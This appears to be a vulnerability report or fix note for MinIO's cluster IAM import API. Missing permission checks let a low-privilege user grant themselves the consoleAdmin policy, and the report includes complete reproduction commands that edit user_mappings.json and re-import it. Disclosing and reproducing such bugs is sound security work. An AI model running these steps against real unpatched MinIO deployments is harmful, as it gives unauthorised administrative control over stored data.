This API had missing permissions checking, allowing a user to change
their policy mapping by:

1. Craft iam-info.zip file: Update own user permission in
user_mappings.json
2. Upload it via `mc admin cluster iam import nobody iam-info.zip`

Here `nobody` can be a user with pretty much any kind of permission (but
not anonymous) and this ends up working.

Some more detailed steps - start from a fresh setup:

```
./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123

mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
      iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/

mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody
```